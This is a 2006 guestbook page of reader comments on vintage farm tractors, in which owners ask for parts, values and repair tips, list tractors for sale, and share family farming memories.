Jeff wrote on Friday, June 23, 2006 (PDT): I have purchased a 1946 farmall h for $850 with a perry shedder. When i got it the tractor did not run and it had three bad tires but lucky for me it wasn't stuck. so i just replaced the condensor and put in in spark plugs, wires, got new tires for it and put in some fresh gas and cranked her up on the second time it turn over.But now it smokes and my dad says it prolly needs some new rings because it is a rich white smoke. But i put it in a local parade and i won the best tractor of show! it is one of the best tractors ever!
Ken wrote on Tuesday, June 20, 2006 (PDT): I have a 52-55 Fordson Major Deisel Power Steering , with loader bucket in running condition. Would like to sell as a complete unit Located Northeast coast
david wrote on Tuesday, June 20, 2006 (PDT):I BOUGHT A 1066 TODAY AND THE BATTERIES AND CABLES ARE MISSING. IT TAKES TWO AND I WONDERED IF SOMEONE MIGHT TELL ME HOW THEY CONNECT TO EACH OTHER?
Vernon Keith wrote on Tuesday, June 20, 2006 (PDT):We presently own a 1963 AC D-15 Series 11 Tractor. it was purchased new and is in excellent running condition. Does anyone know what a reasonalbe asking price would be
Lois wrote on Sunday, June 18, 2006 (PDT):I have a WC that my father-in-law gave to my husband about 35 years ago. My hubby restored it at the time but it needs to be re-done. He used it extensively before parking it - unfortunately - outside in the weather. Hubby passed away last fall and I would like to sell the tractor. It was running in 2003 when we moved - he drove it down the shoulder of the highway to our new place. Located on the North Shore of Lake Superior in Minnesota.
Terry wrote on Saturday, June 17, 2006 (PDT):I'm trying to locate a model (toy) Farmall Cub Cadet...anyone got a website/source?
Justin wrote on Friday, June 16, 2006 (PDT):i was interested in getting a plow for my john deere d styled and was wondering what size it would pull
Jade wrote on Wednesday, June 14, 2006 (PDT):What's a D21 worth? High Value, and low Value, thanks! Jade
Jacob wrote on Wednesday, June 14, 2006 (PDT):I HAVE RECENTLY LOCATED A MM UTS AND WAS WONDERING THE AMOUNT OF HORSE POWER THIS TRACTOR HAS, IF ANYONE CAN HELP THAT WOULD BE GREAT.
Ron N wrote on Monday, June 12, 2006 (PDT):I inherited a gas IH W4 tractor last year and am looking to sell. The tractor hasn't been used for about 10 years, but it was started up last year and runs OK. If anyone has any ideas on W4 pricing, I would greatly appreciate it. I am located in Manitoba, Canada.
John wrote on Saturday, June 10, 2006 (PDT):Looking for culivators and linkage for 48 super A high crop, needed for farm in ca. Any help locating would be of great service to us. Thankyou
LancasterPA Jon wrote on Friday, June 09, 2006 (PDT):AC's are in my blood line; Grandpa (pronounced Gram Paw in my youth) owned a WD, at least one WC, 2 Bs (one with a sickle bar mower seemingly a permanent fixture and the other alternating cultivators and a 2-man planting platform for tobacco seedling transplanting) and my favorite Model G with the manual quadrant-raised front and rear cultvators. My cousin and I could easily pop wheelies by letting the clutch out quickly. (Please! Do not try this at home!) Our 70-pound physiques could not counter-balance that rear engine and Grandpa didn't employ the optional weight which mounts over the steering gear (I didn't know that part even existed until a couple of years ago when I saw one on a show tractor) What a great view of the row this little tractor offered the driver! It was a nearly perfect cultivator rig and many local owners considered it a must for raising tobacco. I think that's why so few have the plows or other available attachments. Sadly, most of the tractors were destroyed in an arson barn fire around 1970.
Jim wrote on Wednesday, June 07, 2006 (PDT):have a question for who ever ??. trying to find out if anyone has heard of a old seat called Bulky ?. thank's
Marv Meyer wrote on Monday, June 05, 2006 (PDT):Looking for a 220, a 4W220 would be great, as my primary tractor in central MN. Thank you. 320-987-3113.
Thomas Payne wrote on Monday, June 05, 2006 (PDT):I have two identical F-12s, both with cultivators onboard, steel wheels, narrow front ends, recently retrieved from a hedgerow. Only one of them still has a tree trunk attached. For somebody serious, I believe one or both of these could be restored. Otherwise, they will make nice lawn ornaments on either side of my driveway.
BOB MAZZA wrote on Sunday, June 04, 2006 (PDT):RESTORING A G LOOKING FOR THE BRACKET THAT MOUNTS ON THE TRACTOR FOR THR PLOW.
Richard Silver wrote on Friday, June 02, 2006 (PDT):I have been looking for a manifold and other parts for a 1953 Cockshutt 50 serial #924. If anyone knows where I can find these please contact me. I want to get this tractor going. Thanks
Jared wrote on Thursday, June 01, 2006 (PDT):I am looking for a 1950 Detroit in Missouri or western Kansas...anyone know of one for sale?
Mike wrote on Thursday, June 01, 2006 (PDT):I don't know how to give it more power but don't you think that those tires are a little big for being a stock tractor.
Mike wrote on Thursday, June 01, 2006 (PDT):My Grandfather bought a "G" and restored it but he is looking for the hood to go over the motor. If anyone knows where I can locate one I would appreciate it. It would make a great gift and make a nice finish to the tractor.
Ryan J. Sample wrote on Tuesday, May 30, 2006 (PDT):I have a 28-44 with a hydraulic bucket and backhoe that started it's life on a farm not far from here in 1937. I am in the process of restoring it and need a few parts like a manifold and head gasket. I would sure appreciate any help.
Whit wrote on Monday, May 29, 2006 (PDT):We have an Allis Chalmers 35 crawler with grader out on the farm, hasn't moved in about 30 years. Kinfolk are selling the property, said we could sell any old machinery, this in a neat piece, but rather rusty... It's in south central Texas, sorry no delivery. Pics here... www.pbase.com/whit2/farmfinds&page=6
Derek Norton wrote on Monday, May 29, 2006 (PDT):I have recently came across a 44 Special gas. It is a 1955 model. It appears to be complete and fairly staight. It only has some minor dents and surface rust. The motor is locked up but the block appears to be good. Can anyone tell me roughly what it would be worth. If anyone can help E-Mail me DMSBNorton at Yahoo.com Thanks
Horace Moody wrote on Sunday, May 28, 2006 (PDT):The same MH-44 has some ignition issues as well - has anyone installed an electronic ignition system? If so, what type? Where can I find a new coil for this, or will any coil off the shelf work? Thank you.
Horace Moody wrote on Sunday, May 28, 2006 (PDT):I've been working on a MH-44 with carburetor problems. Rust is a big issue - does anyone offer an "after market" version with an alloy case?
Don wrote on Wednesday, May 24, 2006 (PDT):I have a super dextra 2000. Can someone tell me where to locate the spring that goes on the throttle linkage.
Ben Giroud wrote on Monday, May 22, 2006 (PDT):I have a black dash 720 diesel in show condition with electric start & origional wide front but I recently noticed I am getting fuel in the crankcase whether running or not. Has anyone had this problem with a 720d?? It runs great, has great oil pressure and plenty of power as I have pulled it twice along with my other brands of tractors and done very well. I recently got a diagram of the possible leaking locations and found this was common problem on the older JD 80 diesels. Any comments or possible easy solutions to this problem would be appreciated as I am reluctant to tear into this problem without help.
albert wrote on Sunday, May 21, 2006 (PDT):just putting in a clutch on a Cockshutt Standard but don't really know what model it is also cannot find low range, nor could previous owner who claimed an acquaintance once showed him any help?
Jim Stachoviak wrote on Saturday, May 20, 2006 (PDT):I just bought a 1955 super 55 with a loader and back scraper this week..Runs good after tune up etc.. BUT the loader Hyd. and the three point hyd. sort of loose altitude after the equipment is used for a short time. The oil looks as if there is water in it,, {ie milky} I am going to drain it out and add all new..Is the oil hydraulic oil, or 30 sae oil? Also where can I find a good repair manual for the Oliver 55 ?? I just found this site.. I hope it is a lively site... If it is, let's keep it going..
Sue wrote on Saturday, May 20, 2006 (PDT):I need torque settings for a 1950's TD-9. I need the head bolt torque, rocker shaft torque and valve settings. Thanks
Jay Heier wrote on Friday, May 19, 2006 (PDT):I'am having a problem keeping my throttle in place on my 1950. Do you tighten spring by govenor or is there a friction disc underneath the dash somewhere. Thanks for some feedback J
bill traylor wrote on Friday, May 19, 2006 (PDT):overheated and blew head gasket...does anybody know where to get head gasket for 300 utility IH
Valley wrote on Friday, May 19, 2006 (PDT):Hi. I am from Quebec-Canada the home province of J. Armand Bombardier who invented this device. In his brief description Bob is right and here are two links that will lead you to the invention itself. The first one show you the invention in motion while the second gives drawings of the patent itself (responds to Nathan's question). The invention at work www.fjab.qc.ca/en/content/jab/biographie1949_1958.htm The invention itsef ; www.fjab.qc.ca/en/content/jab/brevets2.htm As a kid I saw many of these rigs on farmer' tractors and wood yard hauling in winter. I have a 9N and in process to buy one. Have fun! Valley
Bill Riggs wrote on Thursday, May 18, 2006 (PDT):For sale 1963 D15 series ll ser.# 15-16454 w/5'heavy duty bush hog.Tractor is in perfect cond.and has lots of new parts.Can supply pictures.Call Bill at (270)683-0779 Owensboro,KY
Skip Hietala wrote on Thursday, May 18, 2006 (PDT):I have an I-14 in good running order. I have retired it from daily tasks to parade and show only. I would appreciate any info available. This one is #13 made in 1938.Thanks for any response.
B. Joseph wrote on Thursday, May 18, 2006 (PDT):We have a 1964 550 which my Dad purchased used in the early 70's. We used it every day hauling feed and many other duties feeding 1600 hogs farrow to finish each year. In 30+ years of farming with many tractors, I've always said this little workhorse was and is my favorite. I love the power steering and live pto. Now in my later years with the kids gone and married, I am getting up my courage to restore this little favorite! We still use it to mow and run augers. We don't have the hogs anymore! Suggestions would be appreciated!
GUEDOU NICOLAS wrote on Wednesday, May 17, 2006 (PDT):bonjour je recherche un joint de culasse pour un massey harris 55k tel; 06 89 60 48 19 merci
lee thjomas wrote on Tuesday, May 16, 2006 (PDT):Does anyone know where i can get a hand crank for a leader tractor or some measurements so I can make one thanks lee
Kelly Slaughter wrote on Tuesday, May 16, 2006 (PDT):Allis Chalmers AC 160 for sale. Runs but has a knock -- needs rebuild. Transmission, tires, metal all good. Power steering, 3-cyl. diesel. Privately owned, never been on farm. Yuma, Arizona. Make offer.
don leggett wrote on Sunday, May 14, 2006 (PDT):i have a IH 1066 with cab. the inside is gutted and i would like to replace it if i could find it. any help would be appreciated - thanks don
ron allman wrote on Sunday, May 14, 2006 (PDT):I have a leader that is running not so well. It could use a new fuel tank. I could build one but would prerfer to keep it original ( know this may be hard to do) but if any one has info. not only on fuel tank, but on every thing i sure could use some. I have asked many people about this tractor but this is a rare tractor here in saskatchewan, canada. Any info would be gladly aprecated, to help me restor my granfathers tractor. Thanks
ron allman wrote on Sunday, May 14, 2006 (PDT):I have a leader that is running not so well. It could use a new fuel tank. I could build one but would prerfer to keep it original ( know this may be hard to do) but if any one has info. not only on fuel tank, but on every thing i sure could use some. I have asked many people about this tractor but this is a rare tractor here in saskatchewan, canada. Any info would be gladly aprecated, to help me restor my granfathers tractor. Thanks
ron allman wrote on Sunday, May 14, 2006 (PDT):I have a leader that is running not so well. It could use a new fuel tank. I could build one but would prerfer to keep it original ( know this may be hard to do) but if any one has info. not only on fuel tank, but on every thing i sure could use some. I have asked many people about this tractor but this is a rare tractor here in saskatchewan, canada. Any info would be gladly aprecated, to help me restor my granfathers tractor. Thanks
Gene Elliott wrote on Sunday, May 14, 2006 (PDT):I'm the proud 2nd owner of a 1950 Cockshutt 30 E-3 ,narrow front that runs and operates fine ,it was found at a dealer that had taken it in on a new tractor deal.The tin is practically unblimished ,I regrounded the lights and they work fine. I have no use for the tractor ,only storing it till I can sell it ,so contact me if you want to buy a nice Model 30 , we can negosiate a selling price.
Shawn Whiteley wrote on Friday, May 12, 2006 (PDT):I was wondering if anyone could tell me About my tractor? I know it is a D17 And I was wondering what year it was And what Series it is? I have the Tractor Serial # D1722688D And The Engine Serial # 107360 I think these are correct not for sure though they where in a book that came with it. But if anyone coulnd tell me about my tractor It would be helpfull Thanks
tracy sr wrote on Wednesday, May 10, 2006 (PDT):I'm in the process of restoring my 1940 vc case,it's just like the one in the photo. above, looks and runs great,but the rims on the rear need replaced 9x32.I would appreciate any info. on where to find rims thanks. montana
Rachael W wrote on Tuesday, May 09, 2006 (PDT):Any ideas for an arena groomer that we can use on our Eagle hitch? We are using a parma arena groomer only as a pull behind. If we try to use the Eagle hitch it the implement misses the ground by 5 inches. Any ideas on a different implement or modifications for the current implement? Thanks
Bill Riggs wrote on Monday, May 08, 2006 (PDT):I stated in my comments on wed. 2003 That my AC-d-15 series-11 was a 1967. I checked the serial no. and found it to be a 1963 model. This tractor is pristene and i love it.congratulations to all you d-15 lovers.
David Siders wrote on Monday, May 08, 2006 (PDT):i have a d 17 seris one wf gas with ps it is in good condition i would like to trade it for a d 14 or 15 i am in indiana please send email or call if u have one for sale or trade David
John Mater wrote on Monday, May 08, 2006 (PDT):I need a carburetor or rebuild kit for a International 300 utility. I would also be willing to sell the complete tractor, with front loader and backhoe. Located in lower Michigan.
J.Arnold Jacobs wrote on Saturday, May 06, 2006 (PDT):I am in need of someone to tell me about my old Ford Dexter tractor. It needs hydrolic oil. MY question is,the type and weight and wheres the place to put it into the tractor. Wheres the location of the filler plug? Thank you for your help.
J.Arnold Jacobs wrote on Saturday, May 06, 2006 (PDT):I am in need of someone to tell me about my old Ford Dexter tractor. It needs hydrolic oil. MY question is,the type and weight and wheres the place to put it into the tractor. Wheres the location of the filler plug? Thank you for your help.
Doug Brown wrote on Friday, May 05, 2006 (PDT):I need a complete 4 cyl. diesel for my fordson major super? Or can I buy a frsh short block? rod went through side of block! I may be interested in selling tractor for parts if I cannot find replacment motor.
Jared Keller wrote on Friday, May 05, 2006 (PDT):I have a Co-op 2 or 3 for sale not sure of the year. Can get serial number. This tractor was sold by Farmers Union in the 40's has a Chrysler 6 cylinder engine & also Farmhand loader. Contact me for pictures & pricing.
Jared Keller wrote on Friday, May 05, 2006 (PDT):I have a 1947 Cock-Shutt that I am selling. Serial 47-30-2134. Factory hydraulics. Good shape, sat in a barn for 14 years, ran up til then. Contact me for pictures & pricing.
C. Lasiter wrote on Thursday, May 04, 2006 (PDT):Looking for a Cub Lo Boy or Cub to buy located in Central or Southern California area, must be in running condition.
C. Lasiter wrote on Thursday, May 04, 2006 (PDT):I am looking for a AC-G in running condition (Southern or Central California area.
jim lederbrand wrote on Wednesday, May 03, 2006 (PDT):I am looking for a D-21 series II restored or unrestored. If you know of one please email me. I am located in springfield ILL. Thankyou.
Wayne Johnson wrote on Sunday, April 30, 2006 (PDT):I own a 966, but I saw a 1066 this weekend and I am thinking about changing tractors. Any opinions about the difference except for horsepower...I just might have to keep both...
Zach Wisen wrote on Saturday, April 29, 2006 (PDT):I have always wanted one since I first saw one. Here is a great site about them.There a movie of it pulling also. www.twocylinderdiesel.com/The_R/index.html
SC Bob wrote on Saturday, April 29, 2006 (PDT): I have a Oliver 44 that is missing the hood and grill.It is in fair shape and I am in the process if getting it running.Looking for a hood and grill or might sell it when I get it running.How much would it be worth?I am in the upstate of South Carolina.Thanks in advance rsgeorge2 at juno.com
bill deo wrote on Saturday, April 29, 2006 (PDT):Got a crawler with the same engine. Need a none CRACKED head for it. Not refubishing traxivator, but still working on a small farm in Isle La Motte, VT.
Lyn S wrote on Saturday, April 29, 2006 (PDT):Sorry that should be w4 w bh 18782
Lyn S wrote on Saturday, April 29, 2006 (PDT):w4 w bw 18782 has begun restoration in South Australia, Its loking very good Any sugestions about removing a starter motor, delco remy 7m10 Maybe not the right one? should this be difficult? One more question,are serial numbers shared with farmall h ? I also have w4 bh 8085, dates would be great if any one knows. Thanks in advance
Brandon Scheuring wrote on Friday, April 28, 2006 (PDT):Me, my grampa and my uncle farm with molines and whites, in all we have over 20 tractors. everything from Z's to A4T. I would really like to get my hands on a G1000 Front Wheel Assist, dont matter what condition or where at.. please let me know.. (712)-579-2263
john nelson wrote on Thursday, April 27, 2006 (PDT):my dad and i used to farm with a 55 massey harris tractor. it was great. there is still a lot of them around but they dont get used as much any more. massey harris tractors are the best!!!!
steve caggiano wrote on Thursday, April 27, 2006 (PDT):looking to by a 1937 or 1938 oliver orchard in 100 restored condition what should i pay
lee thomas wrote on Thursday, April 27, 2006 (PDT):Does anyone have a hand crank for a leader that they will sell thanks lee
Wade Stoby wrote on Wednesday, April 26, 2006 (PDT): Trying to sell my dad's County Super 6 that he bought new in '65 or '66. It has the 590E 330cid diesel in it and it runs well. Pretty rare and unique tractor, wouldn't take much to restore. I am looking for $12500 for it. It is located in Alberta,Canada.
Brad Gambino wrote on Monday, April 24, 2006 (PDT):I bought a Massey Harris 44 gas, 4 cylinder, serial number 44-GR-20649, i am in need of the three point system that goes from the rock shaft to the draw bar. If anyone can help me out my e-mail is brad_gambino at yahoo.com. Thanks alot!
Matt Reardon wrote on Sunday, April 23, 2006 (PDT):I am 19 and have farmed with my dad all my life. He bought a 1066 when i was about 5, and they are inseparable. the pumps are turned up and she is puttin out about 165 horse. We own a 1250 Gehl pull behind chopper and that 10 is amazing...just sit back and watch her work as she blows black smoke up 30 ft first thing in the spring season!! I wouldnt giver her away for my life. We also own an IH 966, two 1066s, 986, and a Case 1210 and a 1494...NO GREEN ON THIS FARM!!!
Paul Doody wrote on Sunday, April 23, 2006 (PDT):Hi, first time on this sight, very interesting. My question,on the back of my oliver 770, which side does the red light go on to ?as you know there is a red light and a while light . thank you in advance for your help. please email me doojp at aol.com
Roger Snider wrote on Sunday, April 23, 2006 (PDT): My dad has a cockshutt 40 and was in the process of rebuilding the engine in it when the deisel shop lost the original fuel injector pump , any help finding a good pump to fit this buda deisel would be greatly appreciated . He also has a 50 parted out , may possiblly get rid of some parts .
dave wrote on Sunday, April 23, 2006 (PDT):grant; i have two 66 gas tractors in pretty good shape that a kind loving home.$2500 each (815)359-4378
Kevin Rocks wrote on Thursday, April 20, 2006 (PDT):One more question,It has what I think are called dust shields that are attached to fenders and are in front of peddles.What are the purpose of these?Are these rare? Please bare with me.Thanks
Kevin Rocks wrote on Thursday, April 20, 2006 (PDT):I recently bought a 1959 ,770 gas.I own several tractors different makes.I truely love this tractor.(please dont tell my wife) Its got a wide front end.Can I put power steering on it?If so does anyone have the parts to do this?Thanks
terry freed wrote on Thursday, April 20, 2006 (PDT):What is a Allis Chalmers shock hitch and why was it used?
Richard Kinney wrote on Tuesday, April 18, 2006 (PDT): I have an Oliver 770 gas fueled row crop tractor for sale. This tractor runs great, has excellent sheet metal, and new tires. A really sharp tractor for $3,500. (701)696-2476
Brandon Hotchkin wrote on Sunday, April 16, 2006 (PDT):Looking for a 1900 fwd tractor
mark christensen wrote on Saturday, April 15, 2006 (PDT):I am looking for a draw bar for a MM M5 thank you mark
mark christensen wrote on Saturday, April 15, 2006 (PDT):I am looking for a draw bar for a MM M5 thank you mark
John Eiken wrote on Saturday, April 15, 2006 (PDT):Bought a Case SC at a local auction last Sat on the cheap. I M sure its worth more than I paid for it. Was listed as a FFA project and starts runs and moves. Theres a side pulley a PTO and an arch shaped hitch. Tires are a bit dry rott and its painted orange no decals no fenders. Don't know a whole lot about the model but it will be for sale. Comment anyone?
ron wrote on Thursday, April 13, 2006 (PDT):I am looking for a rear rim for a cockshutt 30, also want to know what is suppose to be hooked up to the top of the valve cover. 402 375 0209
RoseMarie Ragan Matthews wrote on Wednesday, April 12, 2006 (PDT):Hello! A Oliver Super 44 was the first thing I drove! My Dad sold it when I was 16! If anyone has one for sale in the southeastern USA. Please email me! I was raised on a farm! I could take his tractor put the attachments on it and just about do anything on the farm with it that needed to be done! I have a saying " I clean, I cook and I can drive a green tractor too!"
cory luper wrote on Wednesday, April 12, 2006 (PDT):i have a 1947 farmall cub for sale take $2500 for it email any queastoins thanks
Dan McNeill wrote on Tuesday, April 11, 2006 (PDT):I have a sheppard S D 3 engine in a crawler I don,t know who made the crawler. I took it to a tractor show and no one could tell me any info on the thing.I have used it off and on for the last 15 years and it still runs good. Iam asking 2500.00 for the little gem If anyone has any info on the crawler portion plese let me know,or would like to purchase it drop me a line on the net. Iam located in washington State. Thanks guys Dan
Dan McNeill wrote on Tuesday, April 11, 2006 (PDT):I have a sheppard S D 3 engine in a crawler I don,t know who made the crawler. I took it to a tractor show and no one could tell me any info on the thing.I have used it off and on for the last 15 years and it still runs good. Iam asking 2500.00 for the little gem If anyone has any info on the crawler portion plese let me know,or would like to purchase it drop me a line on the net. Iam located in washington State. Thanks guys Dan
Jaime wrote on Tuesday, April 11, 2006 (PDT):I have a 1955 or 1956 international 300 utility that I am looking to sell. Decent shape, runs well, good rubber, newer sheet metal work, located in SE WI. Anyone know a range of what it's worth? Anyone interested in it?
oliver junky wrote on Monday, April 10, 2006 (PDT):i have an oliver 99 it is not a diesel but it is repainted yellow it has hydrolics and a cab it is in perfect running condition i wonderd if any one had any idea what they are worth. thank you
mcmom2005 wrote on Monday, April 10, 2006 (PDT):Where can I find parts for a 1958 Fordson Dexter tractor? Any links please or addresses. Thanks.
ron wrote on Sunday, April 09, 2006 (PDT):i am looking for cockshutt 50 diesel engine block..thanks Ron
devendra lalji wrote on Sunday, April 09, 2006 (PDT):We are based in Zambia in the city of livingstone and have two zector tractors, model no 7711. Please confirm if you stock parts for the same
Brad wrote on Friday, April 07, 2006 (PDT):I am looking to purchase a fuel pump for my Oliver or just the bowl and gaskets. I don't know the exact year but it has to be late 40's or early 50's. I have the diesel model. 505-546-4249.
dee brazil-dale wrote on Friday, April 07, 2006 (PDT):We have a 1963 Ford 601 Work Master in good condition with original red paint on hood and iron. Can anyone help us determine the market value? We live near Little Rock AR
Eric wrote on Tuesday, April 04, 2006 (PDT):TD-35, Serial No. TDBB537, FOR SALE. TRACTOR HASN'T RUN IN YEARS. EQUIPPED WITH DOZER. CENTRAL CALIFORNIA. BUYER MUST TAKE ENTIRE MACHINE.
Kevin Hinderman wrote on Tuesday, April 04, 2006 (PDT):I have a Oliver 770. It is a very good tractor. I need a PTO sheild and a tool box lid to complete my restoration. Please contact me if you have the needed parts. (608) 778-1553. thanks
pat wrote on Sunday, April 02, 2006 (PDT):I just bought john deere 1010 special and can't find the serial do you know where it would be located on the tractor . does any one have information on this tractor i can't find much out about it would like to know what year it was made and any other information would be help full thank you
fritz foco wrote on Saturday, April 01, 2006 (PST):I OWN A INTERNATIONAL CUB TRACTOR. SER#241951 J. COULD SOMEONE TELL ME HOW OLD IT IS.
mike kelo wrote on Friday, March 31, 2006 (PST):my grandfather bought my 1945 model M new my father had it now i have.the M only sat outside 4 time in its life .we still have the original books and bill of sale.never restored or motor work done ,sound like new.
Mitchel Zorger wrote on Thursday, March 30, 2006 (PST):I am 16 and we have all allis chalmers on are farm we have a 200 and i can't imagen how powerfull its older brother the 220 is!!
Carl Besola wrote on Thursday, March 30, 2006 (PST):In response to Richards Quest. about decompressor operation. If batt. has enough power, eng. should start without decompress. Dagenham when tuned right will start pretty easy depending on outside temp. If nescessary however, it is best to have an assistant. raise lever to decompress, spin eng. over, and when it begins to fire pull down on lever for full compression and eng should start. Whoever is working the lever should have some common sense so they don't stick they're hand in the fan or something stupid like that. Also in my experience, when eng is tuned right, it will knock and ping and shake and lope up and down on the governor when idling, I've found that if they idle smoothly, they will be hard to start and won't have full power [something to do with timing]. My father at one time had 7 FMD's, 5 with sherman loader and power diggers, one with wagner loader,[no digger]and one as a farm tractor.
Andy Fay wrote on Wednesday, March 29, 2006 (PST):I am rebuilding a 1927 farmall regular before the F-20 and need to Know the Engine size to be able to order parts. Not finding much info.
Homer H. Kurth wrote on Tuesday, March 28, 2006 (PST):In the summer of 1938 I pitched many bundle of wheat into a threshing machine powered by a Rumley Oil Pull. Tom, the owner of the Rumley, was rather careless when filling the water tank of the Rumley. He simply dipped water out of stock tank and filled the supply tank. Sometimes he might get a grasshopper or two or perhsps some moss in with the water. That meant that on occsion as we were thresshing wheat, the Rumley would lose power because somehing had plugged the water line. The result was that the Rumley would overheat, since it was not receiving water with the fuel to cool the engine sufficiently. So we pitchers would get a rest until Tom got the grasshopper, or whatever else might have plugged the line, out.
Homer H. Kurth wrote on Tuesday, March 28, 2006 (PST):This is the story of the Bull Tractor as told me by Charlie, whose father purchased one in l912. They lived 10 miles south of town. "We got work that our Bull was on the loading dock in town. So we hitched the mules to the wagon and went to town to get our Bull. "I wanted to drive the Bull (Charlie was 14 years old at the time), but dad said, 'No, Charlie, I'll drive the Bull. You take the mules, but don't run away from me.' "Seven miles out of town the front wheel fell off. We got the Bull hung on to the wagon and drug it on home with the mules. When we got it repaired, we decied to plow a small field north of the homestead. We plowed about two acres, and the engine quite. We cranked and cranked and could not get it started. Dad got in touch with the company and the company sent a man out to our farm. He checked the engine and told dad it was worn out, and we needed a new engine. And, of all things, dad ordered a new engine. That installed, we started to plow again. This time we plowed about three acres when the engine quit. Again we cranked and cranked, but it would not start. I could see dad was getting sore. Finally he said, 'Charlie, go home and get the mules.' With the mules hitched to the Bull we drug that Bull out of the field into the windbreak right north of the homestead." To this I add that I remember seeing that Bull stand there in the windbreak in my childhood and in my teenage years, when I worked for Charlie. I am now 90 years old
Homer H. Kurth wrote on Tuesday, March 28, 2006 (PST):This is the story of the Bull Tractor as told me by Charlie, whose father purchased one in l912. They lived 10 miles south of town. "We got work that our Bull was on the loading dock in town. So we hitched the mules to the wagon and went to town to get our Bull. "I wanted to drive the Bull (Charlie was 14 years old at the time), but dad said, 'No, Charlie, I'll drive the Bull. You take the mules, but don't run away from me.' "Seven miles out of town the front wheel fell off. We got the Bull hung on to the wagon and drug it on home with the mules. When we got it repaired, we decied to plow a small field north of the homestead. We plowed about two acres, and the engine quite. We cranked and cranked and could not get it started. Dad got in touch with the company and the company sent a man out to our farm. He checked the engine and told dad it was worn out, and we needed a new engine. And, of all things, dad ordered a new engine. That installed, we started to plow again. This time we plowed about three acres when the engine quit. Again we cranked and cranked, but it would not start. I could see dad was getting sore. Finally he said, 'Charlie, go home and get the mules.' With the mules hitched to the Bull we drug that Bull out of the field into the windbreak right north of the homestead." To this I add that I remember seeing that Bull stand there in the windbreak in my childhood and in my teenage years, when I worked for Charlie. I am now 90 years old
Larry Dale wrote on Monday, March 27, 2006 (PST):My freind has a 550 oliver that is like new. It has always been inside, has a loader with a hyd bucket. 1300 org. hours. he is the 2nd owner He is thinking of selling, he wants 5000 for tractor and loader.
John Boldrey wrote on Saturday, March 25, 2006 (PST):I am looking for a D15 Series 2 or D17 Series IV tractor with or without loader. I prefer a tractor in good condition, although I would also consider a fixer upper. I grew up on Allis equipment, and appreciate all help i locating a tractor.
Gary Clark wrote on Friday, March 24, 2006 (PST):My uncle, Martin House, went to kill a steer for butchering, and having left his .22 rifle at the house, took a long yellow wrench off the old "minnie" and smacked that steer between the eyes, dropping it like a rock.
brian koeman wrote on Thursday, March 23, 2006 (PST):i'm looking for a 550 diesel oliver call 616 437 9277 or email me
brian koeman wrote on Thursday, March 23, 2006 (PST):i wood like to sell my cockshutt 1350 gas asking $8000.00
P. Tegeler wrote on Thursday, March 23, 2006 (PST):Just inherited a D15 and would like to find a belly mower and a 3 pt. hitch for it. Any info would be wonderful! Happy Day! ;)
grants setty wrote on Thursday, March 23, 2006 (PST):i am looking for an oliver tractor doesnt matter what modle i would like to find one in centrailil or in thanks grantzworld_92 at hotmail.com or 18157856256 i will be home after 6 o clock thanks
grant setty wrote on Thursday, March 23, 2006 (PST):i am looking for an oliver tractor doesntmatter what modle need one for a summer project i live in illinois and am looking for one in ill.thanks
brian koeman wrote on Tuesday, March 21, 2006 (PST):i am looking for a cockshutt 50 diesel please call 616 437 9277 or email me
brian koeman wrote on Tuesday, March 21, 2006 (PST):i am looking for super 55 diesel or 550 diesel please call 616 437 9277 or email me
Wilson wrote on Tuesday, March 21, 2006 (PST):I also own an Oliver 60 Industrial. I'd appreciate it if someone could email me some photos of the brake equalizer (installed) and the clutch pedal to clutch rod attachment.
Ken Kucille wrote on Tuesday, March 21, 2006 (PST):I was just reading some comments on this website and came across someone who asked about changing their 1966 D15 Series ll to negative ground. Is this tractor a positive ground? I have a 1965 D15 Seriesll and would like to find out before I complete the restoration.
Richard wrote on Tuesday, March 21, 2006 (PST):Recently purchased Fordson Major Deisel mfg. 11/57. Has decompression lever in rocker arm cover. Would like to know the proper procedure of using lever during starting of tractor.
jeff VanDen Bogart wrote on Tuesday, March 21, 2006 (PST):I am interested in buying a D21 if anyone has one for sale or knows anyone who might want to sell one please e-mail me thank You
SCOTT wrote on Monday, March 20, 2006 (PST):HAVE 1937-1/2 OLIVER 70 ORCHARD WITH SEVERAL PULL BEHINDS TOTALLY RESTORED OVER HAULED /REWIRED LIGHTS ARE ORGINAL AND WORK . ON RUBBER /PLUS HAVE ORGINAL STEEL WHEELS / OWNERS MANUALS/ AND BROCHURE FORSALE SERIOUS PEOPLE ONLY 989 670 6582
michael majkic wrote on Monday, March 20, 2006 (PST):i am looking at buying a ford dexta 144 ci and would like to know if anyone could email a copy of the manual to me. anything would be appreciated. also anything on a international b414.
Travis T wrote on Monday, March 20, 2006 (PST):I have a MM U special, dosn't seem like many specials around like there are U's What is this tractor worth runs good and still has origial paint and stickers. faded but still readable.
george grammer wrote on Monday, March 20, 2006 (PST):1466 for sale 8k good rubber email pictures to you
steve wrote on Sunday, March 19, 2006 (PST):hi cockshutt friends. i'm looking to chat with any one who wants to about cockshutt tractors. i have grown up on cockshutt pulling tractors. i have 2 cockshutt 40 models and a 50. great tractors. my first taste of these tractors is my dads 50 which he still has after 30 plus yrs. thanks cockshutt puller
bill mcenery wrote on Saturday, March 18, 2006 (PST):where can I git a service manual for a ford super dexta 1964? could any one tell me how to add oil to the steering box thanks bill this is one strong tractor
Tim Wininger wrote on Friday, March 17, 2006 (PST):I have a Super Dexta and it's a fine tractor but hard to start when it's cold. I have a friend who can order parts for older tractors. Just email and I'll help if I can.
Thomas Courtney wrote on Thursday, March 16, 2006 (PST):We Have 2 Super Dextas. We retired the first with well over 10,000 hrs. We just acquired a "new" one for $3000, with just over 2100 hours. Great tractors, but you better park on a hill below 50 degrees. Our first Dexta with over 10K hrs still runs fine, but needs injectors cleaned, and tranny rebuilt. Then we will have 2 again. Our Newer dexta has a mounted EnFo Manure Loader, which is only one armed.
brian koeman wrote on Wednesday, March 15, 2006 (PST): my father has a M-5 for sale at needs a head and a paint job asking $2400.00 call 616 772 5526
brian koeman wrote on Wednesday, March 15, 2006 (PST): i have a MM UB special diesel 80% restored for sale asking $4500 call 616 437 9277
brian koeman wrote on Wednesday, March 15, 2006 (PST): i have a cockshutt 1350 for sale fully restored i am asking $9500.00
Joyce wrote on Monday, March 13, 2006 (PST):My Dad is restoring a 1948D Leader. Where can we find parts for the Hercules Engine? Need a generator. Also need info on steering column. Hope someone can help
richard Calise wrote on Monday, March 13, 2006 (PST):looking for suoer dextra parts? jiffyhitchsystems.com 904-786-2821.
Mark wrote on Sunday, March 12, 2006 (PST): Would love to purchase an Oliver 44.
